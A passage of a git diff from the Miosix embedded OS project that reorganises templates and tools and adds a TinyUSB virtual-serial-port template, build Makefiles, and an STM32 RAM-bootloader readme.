When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +# OPT_BOARD := [options in miosix-kernel/miosix/config/Makefile.inc] + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := main.cpp + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := + +## +## List here additional static libraries with relative path +## +LIBS := + +## +## List here subdirectories which contains makefiles +## +SUBDIRS += + +## +## Attach a romfs filesystem image after the kernel +## +ROMFS_DIR := + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(Q)$(SZ) main.elf + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + +-include $(OBJ:.o=.d) diff --git a/main.cpp b/templates/simple/main.cpp similarity index 100% rename from main.cpp rename to templates/simple/main.cpp diff --git a/templates/tinyusb_template/Makefile b/templates/tinyusb_template/Makefile new file mode 100644 index 000000000..a182630b0 --- /dev/null +++ b/templates/tinyusb_template/Makefile @@ -0,0 +1,67 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := ../../miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## Leave it as $(KPATH) to use the default settings built in to miosix. Any +## missing file is replaced by the defaults as well. +## To change the config, copy and paste the miosix/config directory to +## your project root and change this path to the project root (typically ".") +CONFPATH := $(KPATH) + +## When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +## Make sure to change the default or comment out this line when reusing the +## example as a template. +OPT_BOARD := stm32f407vg_stm32f4discovery + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := main.cpp + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := -I./tinyusb/tinyusb/src -I./tinyusb + +## +## List here additional static libraries with relative path +## +LIBS := tinyusb/libtinyusb.a + +## +## List here subdirectories which contains makefiles +## +SUBDIRS += tinyusb + +## +## Attach a romfs filesystem image after the kernel +## +ROMFS_DIR := + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(Q)$(SZ) main.elf + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + +-include $(OBJ:.o=.d) diff --git a/templates/tinyusb_template/README.md b/templates/tinyusb_template/README.md new file mode 100644 index 000000000..eec300397 --- /dev/null +++ b/templates/tinyusb_template/README.md @@ -0,0 +1,98 @@ +# TinyUSB template + +This template shows how to use TinyUSB (https://www.tinyusb.org/) with +Miosix, implementing a simple application which exposes via USB a virtual +serial port which echoes incoming characters. + +As is, the template is made for a stm32f4discovery board, but it can be adapted +for other boards. + +## Directory structure + +The `tinyusb` directory contains a separate Makefile just for building +TinyUSB separately, creating a static library called `libtinyusb.a`. This is +done to ensure the TinyUSB sources are compiled as C++, which simplifies +the integration with Miosix. + +The TinyUSB source code should be cloned (either using git normally or by +adding a submodule) inside the `tinyusb` directory. Thus, the final directory +structure will be: + +``` +main.cpp +Makefile +tinyusb\ + Makefile + tusb_config.h + tusb_os_custom.h + cmsis_stubs\ + stm32f2xx.h + ... + tinyusb\ <- Root of the TinyUSB source + docs\ + examples\ + hw\ + lib\ + src\ + test\ + tools\ + LICENSE + README.rst + ... +``` + +The example was developed based on TinyUSB 0.15.0 (commit SHA +86c416d4c0fb38432460b3e11b08b9de76941bf5) and may not work with newer versions. +When updating TinyUSB, always remember to also update the Makefile to include +any new source code file in TinyUSB (or remove any file that was removed). + +The `tinyusb/tusb_os_custom.h` file contains the Miosix-specific implementations +for the concurrency primitives required by TinyUSB. + +The `tinyusb/tusb_config.h` file configures which class drivers and ports are +enabled, and which device driver should be used by TinyUSB. Always make sure +that the definition of `CFG_TUSB_MCU` is consistent with the board selection +made in Miosix's `Makefile.inc`. + +The `cmsis_stubs` directory contains files named in the same way as the +STM32 CMSIS device headers, for use by TinyUSB which includes these files +directly in its device drivers. Unfortunately, due to the directory structure +of Miosix, these files cannot be included by TinyUSB directly without issues; +one is supposed to include `interfaces/arch_registers.h` instead. Using these +files we allow TinyUSB to include `interfaces/arch_registers.h` without +needing to modify TinyUSB's source code. Only a few example stub files have been +included; add new stubs as needed for your project. + +## Compiling this template + +To try out this template as-is, get a stm32f4-discovery board, then follow these +steps: + +1. Change the current directory to the example's directory +2. Perform the following commands in the root of the repository: + ``` + cd tinyusb + git clone https://github.com/hathach/tinyusb.git + cd tinyusb + git checkout 86c416d4c0fb38432460b3e11b08b9de76941bf5 + ``` +3. Compile normally by running `make clean; make` in the root of the repository. + +## Adding TinyUSB to an existing project + +To use TinyUSB in an existing Miosix project, follow these steps: + +1. Copy and paste the `tinyusb` directory of this example in your project +2. In your Makefile, add the following subdirectories, libraries and includes: + ``` + SUBDIRS := ... tinyusb + LIBS := ... tinyusb/libtinyusb.a + INCLUDE_DIRS := ... -I./tinyusb/tinyusb/src -I./tinyusb + ``` +3. Clone TinyUSB in the `tinyusb` directory +4. Copy and paste the interrupt handler definition from the example `main.cpp` + in your main +5. Customize `tusb_config.h` to select the class driver, target device, and add + callbacks in your main to configure the USB descriptors. Follow TinyUSB's + documentation for performing this step. +6. Done! diff --git a/templates/tinyusb_template/main.cpp b/templates/tinyusb_template/main.cpp new file mode 100644 index 000000000..221e5f918 --- /dev/null +++ b/templates/tinyusb_template/main.cpp @@ -0,0 +1,294 @@ +/*************************************************************************** + * Copyright (C) 2023, 2024 by Daniele Cattaneo * + * * + * This program is free software; you can redistribute it and/or modify * + * it under the terms of the GNU General Public License as published by * + * the Free Software Foundation; either version 2 of the License, or * + * (at your option) any later version. * + * * + * This program is distributed in the hope that it will be useful, * + * but WITHOUT ANY WARRANTY; without even the implied warranty of * + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * + * GNU General Public License for more details. * + * * + * As a special exception, if other files instantiate templates or use * + * macros or inline functions from this file, or you compile this file * + * and link it with other works to produce a work based on this file, * + * this file does not by itself cause the resulting work to be covered * + * by the GNU General Public License. However the source code for this * + * file must still be made available in accordance with the GNU General * + * Public License. This exception does not invalidate any other reasons * + * why a work based on this file might be covered by the GNU General * + * Public License. * + * * + * You should have received a copy of the GNU General Public License * + * along with this program; if not, see * + ***************************************************************************/ + +#include +#include "miosix.h" +#include "tusb.h" + +using namespace std; +using namespace miosix; + +namespace usb { + +using vbus = Gpio; +using id = Gpio; +using dm = Gpio; +using dp = Gpio; + +} + +void *usbThread(void *unused) +{ + iprintf("USB thread running\n"); + while (!Thread::testTerminate()) tud_task(); + return nullptr; +} + +// +// Interrupt handlers to be forwarded to TinyUSB +// + +void OTG_FS_IRQHandler() +{ + tud_int_handler(0); +} + +void OTG_HS_IRQHandler() +{ + tud_int_handler(1); +} + +int main() +{ + bool vbusSensing = true; + { + GlobalIrqLock dLock; + + IRQregisterIrq(dLock, OTG_FS_IRQn, OTG_FS_IRQHandler); + IRQregisterIrq(dLock, OTG_HS_IRQn, OTG_HS_IRQHandler); + + //Turn on USB peripheral + RCC->AHB2ENR |= RCC_AHB2ENR_OTGFSEN; + RCC_SYNC(); + + //Configure USB pins. ID is optional (only needed for USB OTG) + usb::id::alternateFunction(10); + usb::dm::alternateFunction(10); + usb::dp::alternateFunction(10); + usb::id::mode(Mode::ALTERNATE); + usb::dm::mode(Mode::ALTERNATE); + usb::dp::mode(Mode::ALTERNATE_OD); + + //VBUS sensing allows the USB device to detect connections and + //disconnections by looking at the 5V coming in from the host. For + //this feature to work, the USB VCC must be connected to PA9, no + //other pin works. + if (vbusSensing) + { + usb::vbus::mode(Mode::INPUT); + USB_OTG_FS->GCCFG &= ~USB_OTG_GCCFG_NOVBUSSENS; + USB_OTG_FS->GCCFG |= USB_OTG_GCCFG_VBUSBSEN; + } else { + USB_OTG_FS->GCCFG |= USB_OTG_GCCFG_NOVBUSSENS; + USB_OTG_FS->GCCFG &= ~USB_OTG_GCCFG_VBUSBSEN; + USB_OTG_FS->GCCFG &= ~USB_OTG_GCCFG_VBUSASEN; + } + } + + bool r = tusb_init(); + if (!r) + { + iprintf("USB initialization error\n"); + return 0; + } + Thread::create(usbThread,2048,DEFAULT_PRIORITY,nullptr,Thread::DETACHED); + + for (;;) + { + Thread::nanoSleep(1000000); + if (tud_cdc_n_available(0)) + { + uint8_t buf[64]; + uint32_t count = tud_cdc_n_read(0, buf, sizeof(buf) - 1); + for(uint32_t i=0; i(&desc_device); +} + +// Called when the configuration descriptor is requested from the host. +// TinyUSB will automatically configure and instantiate the appropriate USB +// drivers depending on the descriptor, therefore this is the main source of +// truth for things like endpoint IDs and so on. +// Descriptor contents must exist long enough for transfer to complete. +uint8_t const *tud_descriptor_configuration_cb(uint8_t index) +{ + enum USBInterfaceID { + CDC = 0, + CDCData, // Implicitly added by the TUD_CDC_DESCRIPTOR macro + Total + }; + enum USBEndpointID { + CDCOut = 0x02, + CDCNotif = 0x81, + CDCIn = 0x82 + }; + static const size_t length = TUD_CONFIG_DESC_LEN + TUD_CDC_DESC_LEN; + static uint8_t const desc_fs_configuration[length] = { + // Configuration descriptor + TUD_CONFIG_DESCRIPTOR( + 1, // config number + USBInterfaceID::Total, // interface count + USBStringDescID::None, // string index + length, // total length + 0x00, // attribute + 100 // power in mA + ), + // Interface descriptor (macro sets class/subclass automatically) + TUD_CDC_DESCRIPTOR( + USBInterfaceID::CDC, // Interface number + USBStringDescID::None, // string index + USBEndpointID::CDCNotif, // notification endpoint address + 8, // notification endpoint size + USBEndpointID::CDCOut, // data out endpoint address + USBEndpointID::CDCIn, // data in endpoint address + 64 // data endpoint size + ), + }; + return desc_fs_configuration; +} + +struct __attribute__((packed)) STM32DeviceIDFields +{ + uint16_t waferX; + uint16_t waferY; + uint8_t wafer; + char lot[7]; +}; +#define STM32_DEVICE_ID (reinterpret_cast(UID_BASE)) + +template +struct USBStringDesc +{ + uint8_t size; + uint8_t type = TUSB_DESC_STRING; + char16_t str[L]; +}; + +// Invoked when host requests each string descriptor. +// Application returns a pointer to descriptor, whose contents must exist long +// enough for transfer to complete. +uint16_t const *tud_descriptor_string_cb(uint8_t index, uint16_t langid) +{ + static const size_t descMaxStrLen=31; + static USBStringDesc desc; + uint8_t length; + + if(index==USBStringDescID::LocaleIDs) // Locale ID + { + desc.str[0]=0x0409; // US English + length=1; + } else { + const char *str; + const int chipid_length = 7+2+4+4; + char chipid_buf[chipid_length+1]; + + if(index == USBStringDescID::Manufacturer) str = "Miosix TinyUSB"; + else if(index == USBStringDescID::Product) str = "USB CDC Example"; + else if(index == USBStringDescID::Serial) { // Serial + for(int i=0; i<7; i++) chipid_buf[i] = STM32_DEVICE_ID->lot[i]; + siprintf(chipid_buf+7, "%02X%04X%04X", + STM32_DEVICE_ID->wafer, + STM32_DEVICE_ID->waferX, + STM32_DEVICE_ID->waferY); + str = chipid_buf; + } else { + // Do not return anything for other indexes (for example 0xEE which + // is Windows-proprietary) + return NULL; + } + // copy string into descriptor buffer, lazily converting it to UTF-16 + length = (uint8_t)strlen(str); + if(length > descMaxStrLen) length = descMaxStrLen; + for(int i=0; i(&desc); +} diff --git a/templates/tinyusb_template/tinyusb/Makefile b/templates/tinyusb_template/tinyusb/Makefile new file mode 100644 index 000000000..09173b9ed --- /dev/null +++ b/templates/tinyusb_template/tinyusb/Makefile @@ -0,0 +1,95 @@ +## +## Makefile for tinyusb Miosix integration +## This makefile builds libtinyusb.a +## + +## KPATH and CONFPATH are forwarded by the parent Makefile +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## List of all tinyusb source files (both .c and .cpp) +## These files will end up in libtinyusb.a +SRC := \ + tinyusb/src/host/hub.c \ + tinyusb/src/host/usbh.c \ + tinyusb/src/portable/nordic/nrf5x/dcd_nrf5x.c \ + tinyusb/src/portable/synopsys/dwc2/dcd_dwc2.c \ + tinyusb/src/portable/valentyusb/eptri/dcd_eptri.c \ + tinyusb/src/portable/ehci/ehci.c \ + tinyusb/src/portable/bridgetek/ft9xx/dcd_ft9xx.c \ + tinyusb/src/portable/nxp/lpc_ip3511/dcd_lpc_ip3511.c \ + tinyusb/src/portable/nxp/khci/dcd_khci.c \ + tinyusb/src/portable/nxp/khci/hcd_khci.c \ + tinyusb/src/portable/nxp/lpc17_40/dcd_lpc17_40.c \ + tinyusb/src/portable/nxp/lpc17_40/hcd_lpc17_40.c \ + tinyusb/src/portable/nxp/transdimension/hcd_transdimension.c \ + tinyusb/src/portable/nxp/transdimension/dcd_transdimension.c \ + tinyusb/src/portable/ohci/ohci.c \ + tinyusb/src/portable/wch/ch32v307/dcd_usbhs.c \ + tinyusb/src/portable/template/dcd_template.c \ + tinyusb/src/portable/mentor/musb/hcd_musb.c \ + tinyusb/src/portable/mentor/musb/dcd_musb.c \ + tinyusb/src/portable/st/synopsys/dcd_synopsys.c \ + tinyusb/src/portable/st/stm32_fsdev/dcd_stm32_fsdev.c \ + tinyusb/src/portable/dialog/da146xx/dcd_da146xx.c \ + tinyusb/src/portable/chipidea/ci_hs/dcd_ci_hs.c \ + tinyusb/src/portable/chipidea/ci_hs/hcd_ci_hs.c \ + tinyusb/src/portable/sunxi/dcd_sunxi_musb.c \ + tinyusb/src/portable/microchip/samx7x/dcd_samx7x.c \ + tinyusb/src/portable/microchip/samg/dcd_samg.c \ + tinyusb/src/portable/microchip/pic/dcd_pic.c \ + tinyusb/src/portable/microchip/pic32mz/dcd_pic32mz.c \ + tinyusb/src/portable/microchip/samd/dcd_samd.c \ + tinyusb/src/portable/nuvoton/nuc121/dcd_nuc121.c \ + tinyusb/src/portable/nuvoton/nuc120/dcd_nuc120.c \ + tinyusb/src/portable/nuvoton/nuc505/dcd_nuc505.c \ + tinyusb/src/portable/renesas/usba/dcd_usba.c \ + tinyusb/src/portable/renesas/usba/hcd_usba.c \ + tinyusb/src/portable/espressif/esp32sx/dcd_esp32sx.c \ + tinyusb/src/portable/raspberrypi/rp2040/rp2040_usb.c \ + tinyusb/src/portable/raspberrypi/rp2040/dcd_rp2040.c \ + tinyusb/src/portable/raspberrypi/rp2040/hcd_rp2040.c \ + tinyusb/src/portable/raspberrypi/pio_usb/hcd_pio_usb.c \ + tinyusb/src/portable/raspberrypi/pio_usb/dcd_pio_usb.c \ + tinyusb/src/portable/sony/cxd56/dcd_cxd56.c \ + tinyusb/src/portable/mindmotion/mm32/dcd_mm32f327x_otg.c \ + tinyusb/src/portable/ti/msp430x5xx/dcd_msp430x5xx.c \ + tinyusb/src/common/tusb_fifo.c \ + tinyusb/src/class/cdc/cdc_rndis_host.c \ + tinyusb/src/class/cdc/cdc_host.c \ + tinyusb/src/class/cdc/cdc_device.c \ + tinyusb/src/class/video/video_device.c \ + tinyusb/src/class/net/ncm_device.c \ + tinyusb/src/class/net/ecm_rndis_device.c \ + tinyusb/src/class/dfu/dfu_rt_device.c \ + tinyusb/src/class/dfu/dfu_device.c \ + tinyusb/src/class/midi/midi_device.c \ + tinyusb/src/class/usbtmc/usbtmc_device.c \ + tinyusb/src/class/bth/bth_device.c \ + tinyusb/src/class/audio/audio_device.c \ + tinyusb/src/class/msc/msc_host.c \ + tinyusb/src/class/msc/msc_device.c \ + tinyusb/src/class/hid/hid_device.c \ + tinyusb/src/class/hid/hid_host.c \ + tinyusb/src/class/vendor/vendor_host.c \ + tinyusb/src/class/vendor/vendor_device.c \ + tinyusb/src/device/usbd_control.c \ + tinyusb/src/device/usbd.c \ + tinyusb/src/tusb.c + +INCLUDE_DIRS := -I. -Icmsis_stubs -Itinyusb/src + +all: $(OBJ) + $(ECHO) "[AR ] libtinyusb.a" + $(Q)$(AR) rcs libtinyusb.a $(OBJ) + +clean: + -rm -f $(OBJ) $(OBJ:.o=.d) libtinyusb.a + +# We need to compile all .c files with the C++ compiler for integrating TinyUSB +# without becoming crazy +%.o : %.c + $(ECHO) "[CXX ] $<" + $(Q)$(CXX) $(CXXFLAGS) $< -o $@ + +-include $(OBJ:.o=.d) diff --git a/miosix/_examples/tinyusb/tinyusb/cmsis_stubs/stm32f2xx.h b/templates/tinyusb_template/tinyusb/cmsis_stubs/stm32f2xx.h similarity index 100% rename from miosix/_examples/tinyusb/tinyusb/cmsis_stubs/stm32f2xx.h rename to templates/tinyusb_template/tinyusb/cmsis_stubs/stm32f2xx.h diff --git a/miosix/_examples/tinyusb/tinyusb/cmsis_stubs/stm32f4xx.h b/templates/tinyusb_template/tinyusb/cmsis_stubs/stm32f4xx.h similarity index 100% rename from miosix/_examples/tinyusb/tinyusb/cmsis_stubs/stm32f4xx.h rename to templates/tinyusb_template/tinyusb/cmsis_stubs/stm32f4xx.h diff --git a/miosix/_examples/tinyusb/tinyusb/cmsis_stubs/stm32f7xx.h b/templates/tinyusb_template/tinyusb/cmsis_stubs/stm32f7xx.h similarity index 100% rename from miosix/_examples/tinyusb/tinyusb/cmsis_stubs/stm32f7xx.h rename to templates/tinyusb_template/tinyusb/cmsis_stubs/stm32f7xx.h diff --git a/miosix/_examples/tinyusb/tinyusb/tusb_config.h b/templates/tinyusb_template/tinyusb/tusb_config.h similarity index 100% rename from miosix/_examples/tinyusb/tinyusb/tusb_config.h rename to templates/tinyusb_template/tinyusb/tusb_config.h diff --git a/miosix/_examples/tinyusb/tinyusb/tusb_os_custom.h b/templates/tinyusb_template/tinyusb/tusb_os_custom.h similarity index 94% rename from miosix/_examples/tinyusb/tinyusb/tusb_os_custom.h rename to templates/tinyusb_template/tinyusb/tusb_os_custom.h index 7284ed8a3..1a42a07ed 100644 --- a/miosix/_examples/tinyusb/tinyusb/tusb_os_custom.h +++ b/templates/tinyusb_template/tinyusb/tusb_os_custom.h @@ -115,7 +115,7 @@ TU_ATTR_ALWAYS_INLINE static inline bool osal_mutex_unlock(osal_mutex_t mutex_hd // that will not happen as except for Miosix the embedded/RT ecosystem is // C-centric and the inertia is too great to overcome. // Therefore we use tusb's fifo class with our own synchronization using -// low-level Miosix APIs. We use FastInterruptDisableLock for protecting the +// low-level Miosix APIs. We use FastGlobalIrqLock for protecting the // fifo because it might be changed from interrupt context. #include "common/tusb_fifo.h" @@ -150,7 +150,7 @@ TU_ATTR_ALWAYS_INLINE static inline bool osal_queue_receive(osal_queue_t qhdl, v else qhdl->itemAvailable.timedWait(miosix::getTime() + (long long)msec*1000000LL); bool success; { - miosix::FastInterruptDisableLock dLock; + miosix::FastGlobalIrqLock dLock; success = tu_fifo_read(&qhdl->fifo, data); } return success; @@ -161,16 +161,19 @@ TU_ATTR_ALWAYS_INLINE static inline bool osal_queue_send(osal_queue_t qhdl, void bool success; if(in_isr) { + miosix::FastGlobalLockFromIrq dLock; success=tu_fifo_write(&qhdl->fifo,data); qhdl->itemAvailable.IRQsignal(); + if(miosix::extraChecks==miosix::ExtraChecks::Application && !success) + miosix::errorHandler(miosix::Error::UNEXPECTED); } else { { - miosix::FastInterruptDisableLock dLock; + miosix::FastGlobalIrqLock dLock; success=tu_fifo_write(&qhdl->fifo,data); } qhdl->itemAvailable.signal(); + TU_ASSERT(success); } - TU_ASSERT(success); return success; } diff --git a/miosix/_tools/bin2uf2/CMakeLists.txt b/tools/bin2uf2/CMakeLists.txt similarity index 100% rename from miosix/_tools/bin2uf2/CMakeLists.txt rename to tools/bin2uf2/CMakeLists.txt diff --git a/tools/bin2uf2/Makefile b/tools/bin2uf2/Makefile new file mode 100644 index 000000000..7969b18a0 --- /dev/null +++ b/tools/bin2uf2/Makefile @@ -0,0 +1,75 @@ +## +## Makefile template for Miosix embedded OS kernel-side applications +## + +## Path to the Miosix kernel root (miosix-kernel/miosix) +KPATH := miosix + +## Path to the Miosix config root, containing: +## - config/Makefile.inc +## - config/miosix_config.h (optional) +## - config/board//board_config.h (optional) +## Leave it as $(KPATH) to use the default settings built in to miosix. Any +## missing file is replaced by the defaults as well. +## To change the config, copy and paste the miosix/config directory to +## your project root and change this path to the project root (typically ".") +CONFPATH := $(KPATH) + +## When using CONFPATH := $(KPATH) you can choose the board here. You can also +## override other variables defined by Makefile.inc. +# OPT_BOARD := [options in miosix-kernel/miosix/config/Makefile.inc] + +## Include the Miosix common makefile for kernel-side applications +MAKEFILE_VERSION := 3.01 +include $(KPATH)/Makefile.kcommon + +## +## List here your source files (both .s, .c and .cpp) +## +SRC := main.cpp + +## +## List here additional include directories (in the form -Iinclude_dir) +## +INCLUDE_DIRS := + +## +## List here additional static libraries with relative path +## +LIBS := + +## +## List here subdirectories which contains makefiles +## +SUBDIRS += + +## +## Attach a romfs filesystem image after the kernel +## +ROMFS_DIR := + +all: $(if $(ROMFS_DIR), image, main) + +main: $(OBJ) all-recursive $(KPATH)/../tools/bin2uf2/bin2uf2 + $(ECHO) "[LD ] main.elf" + $(Q)$(CXX) $(LFLAGS) -o main.elf $(OBJ) $(LINK_LIBS) + $(ECHO) "[CP ] main.hex" + $(Q)$(CP) -O ihex main.elf main.hex + $(ECHO) "[CP ] main.bin" + $(Q)$(CP) -O binary main.elf main.bin + $(ECHO) "[UF2 ] main.uf2" + $(KPATH)/../tools/bin2uf2/bin2uf2 -s 0x10000000 -f 0xe48bff56 -p main.bin -o main.uf2 + $(Q)$(SZ) main.elf + +$(KPATH)/../tools/bin2uf2/bin2uf2: + $(ECHO) "[HOST] bin2uf2" + $(Q)mkdir -p $(KPATH)/../tools/bin2uf2/build + $(Q)cd $(KPATH)/../tools/bin2uf2/build \ + && cmake --log-level=ERROR .. && $(MAKE) -s + +clean: clean-recursive + $(Q)rm -f $(OBJ) $(OBJ:.o=.d) main.elf main.hex main.bin main.map + $(Q)rm -f main.uf2 image.uf2 $(KPATH)/../tools/bin2uf2/bin2uf2 + $(Q)rm -rf $(KPATH)/../tools)/bin2uf2/build + +-include $(OBJ:.o=.d) diff --git a/miosix/_tools/bin2uf2/Readme.txt b/tools/bin2uf2/Readme.txt similarity index 100% rename from miosix/_tools/bin2uf2/Readme.txt rename to tools/bin2uf2/Readme.txt diff --git a/miosix/_tools/bin2uf2/bin2uf2.cpp b/tools/bin2uf2/bin2uf2.cpp similarity index 100% rename from miosix/_tools/bin2uf2/bin2uf2.cpp rename to tools/bin2uf2/bin2uf2.cpp diff --git a/tools/bootloaders/stm32/Readme.txt b/tools/bootloaders/stm32/Readme.txt new file mode 100644 index 000000000..dd8fbbf80 --- /dev/null +++ b/tools/bootloaders/stm32/Readme.txt @@ -0,0 +1,99 @@ +Miosix can boot directly from a microcontroller flash memory without any +special bootloader and is usually flashed using JTAG/SWD or whichever ROM-based +bootloader the chip manufacturer provides. + +This directory contains an optional bootloader that can be used on selected +stm32 boards to allow loading the kernel in RAM and execute it from there. +This bootloader is only useful for debugging purposes as the kernel will need to +be reloaded at every powercycle, and running code from RAM is slower than flash. + +This bootloader allows to load code to external RAM, for easy development +without wearing out the STM32's FLASH which is only rated 10000 write cycles. +Ofcourse, it is not suitable for release code, since at every reboot the loaded +code gets lost. Please also note that running code from external RAM will be +~10 times slower than internal FLASH, but for code development and debugging +it is fine. + +This bootloader contains code to forward interrupts @ 0x6800000 which is the +start of the external RAM. + + +Installation on PC +------------------ +You'll need gcc (and g++), CMake and the boost libraries installed. +Windows build was not tested but should work. Linux and Mac OSX were tested. + +run these commands with a shell opened in the +tools/booltloaders/stm32/pc_loader/pc_loader +directory + +mkdir build +cd build +cmake .. +make +cp pc_loader .. + + +Installation on microcontroller +------------------------------- +Use your preferred method of loading code to the STM32, such as +serial bootloader or JTAG. Do not use the ST USB bootloader since it +reserves some space in the FLASH for the ST USB bootloader itself. +This Miosix bootloader is not PIC (position independent code) so loading +it at another address will fail. + + +Loading code using the bootloader in external RAM +------------------------------------------------- +1) Make sure Miosix is configured to run from the STM32's external RAM: +in miosix/config/Makefile.inc options: + +OPT_BOARD := stm32f103ze_stm3210e-eval + +And in file miosix/config/board/stm32f103ze_stm3210e-eval/Makefile.inc + +LINKER_SCRIPT := unikernel-all-in-xram.ld +XRAM := -D__ENABLE_XRAM -D__CODE_IN_XRAM + +should be uncommented (no # at the start of the line) + +2) Build Miosix as usual with + +make + +3) Connect the USART1 of the STM32 board with a serial cable to the PC +the expected device name for the serial port is /dev/ttyUSB0, +if not modify the line + +PROG ?= $(KPATH)/../tools/bootloaders/stm32/pc_loader/pc_loader \ + /dev/ttyUSB0 $(if $(ROMFS_DIR), image.bin, main.bin) + +in file miosix/arch/board/stm32f103ze_stm3210e-eval/Makefile.inc + +4) then do a + +make program && screen /dev/ttyUSB0 + +The bootloader should send data to the board, and run the binary. + + +Debugging code with Openocd in external RAM +------------------------------------------- +The bootloader should be loaded to the STM32's FLASH memeory to forward +interrupts @ 0x6800000, or Miosix will fail at the first interrupt. + +Then run openocd in a shell: + +openocd -f miosix/arch/board/stm32f103ze_stm3210e-eval/openocd.cfg + +and in another shell type: + +arm-miosix-eabi-gdb main.elf +target extended-remote :3333 +monitor soft_reset_halt +load +c + +After typing c miosix will start running. You can set breakpoints with +"break" and see variables with "print". For a more in-depth tutorial see +a gdb guide. diff --git a/miosix/_tools/bootloaders/stm32/pc_loader/.gitignore b/tools/bootloaders/stm32/pc_loader/.gitignore similarity index 100% rename from miosix/_tools/bootloaders/stm32/pc_loader/.gitignore rename to tools/bootloaders/stm32/pc_loader/.gitignore diff --git a/miosix/_tools/bootloaders/stm32/pc_loader/CMakeLists.txt b/tools/bootloaders/stm32/pc_loader/CMakeLists.txt similarity index 100% rename from miosix/_tools/bootloaders/stm32/pc_loader/CMakeLists.txt rename to tools/bootloaders/stm32/pc_loader/CMakeLists.txt diff --git a/miosix/_tools/bootloaders/stm32/pc_loader/main.cpp b/tools/bootloaders/stm32/pc_loader/main.cpp similarity index 100% rename from miosix/_tools/bootloaders/stm32/pc_loader/main.cpp rename to tools/bootloaders/stm32/pc_loader/main.cpp diff --git a/miosix/_tools/bootloaders/stm32/pc_loader/pc_loader b/tools/bootloaders/stm32/pc_loader/pc_loader similarity index 100% rename from miosix/_tools/bootloaders/stm32/pc_loader/pc_loader rename to tools/bootloaders/stm32/pc_loader/pc_loader diff --git a/miosix/_tools/bootloaders/stm32/pc_loader/serialstream.cpp b/tools/bootloaders/stm32/pc_loader/serialstream.cpp similarity index 100% rename from miosix/_tools/bootloaders/stm32/pc_loader/serialstream.cpp rename to tools/bootloaders/stm32/pc_loader/serialstream.cpp diff --git a/miosix/_tools/bootloaders/stm32/pc_loader/serialstream.h b/tools/bootloaders/stm32/pc_loader/serialstream.h similarity index 100% rename from miosix/_tools/bootloaders/stm32/pc_loader/serialstream.h rename to tools/bootloaders/stm32/pc_loader/serialstream.h diff --git a/tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.bin b/tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.bin new file mode 100644 index 000000000..8ef93c24f Binary files /dev/null and b/tools/bootloaders/stm32/uc_loader_ethboardv2/bootloader.bin differ diff --git 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a/miosix/_tools/bootloaders/stm32/uc_loader_stm3210e-eval/bootloader.hex b/tools/bootloaders/stm32/uc_loader_stm3210e-eval/bootloader.hex similarity index 100% rename from miosix/_tools/bootloaders/stm32/uc_loader_stm3210e-eval/bootloader.hex rename to tools/bootloaders/stm32/uc_loader_stm3210e-eval/bootloader.hex diff --git a/miosix/_tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.bin b/tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.bin similarity index 100% rename from miosix/_tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.bin rename to tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.bin diff --git a/miosix/_tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.hex b/tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.hex similarity index 100% rename from miosix/_tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.hex rename to tools/bootloaders/stm32/uc_loader_stm3220g-eval/bootloader.hex diff --git a/tools/cmake/miosix_makefile_parser.py b/tools/cmake/miosix_makefile_parser.py new file mode 100644 index 000000000..6b7fa7915 --- /dev/null +++ b/tools/cmake/miosix_makefile_parser.py @@ -0,0 +1,125 @@ +#!/usr/bin/env python3 +# Copyright (C) 2026 by Daniele Cattaneo +# +# This program is free software; you can redistribute it and/or +# it under the terms of the GNU General Public License as published +# the Free Software Foundation; either version 2 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# As a special exception, if other files instantiate templates or use +# macros or inline functions from this file, or you compile this file +# and link it with other works to produce a work based on this file, +# this file does not by itself cause the resulting work to be covered +# by the GNU General Public License. However the source code for this +# file must still be made available in accordance with the GNU +# Public License. This exception does not invalidate any other +# why a work based on this file might be covered by the GNU General +# Public License. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, see + +from pathlib import Path +import sys 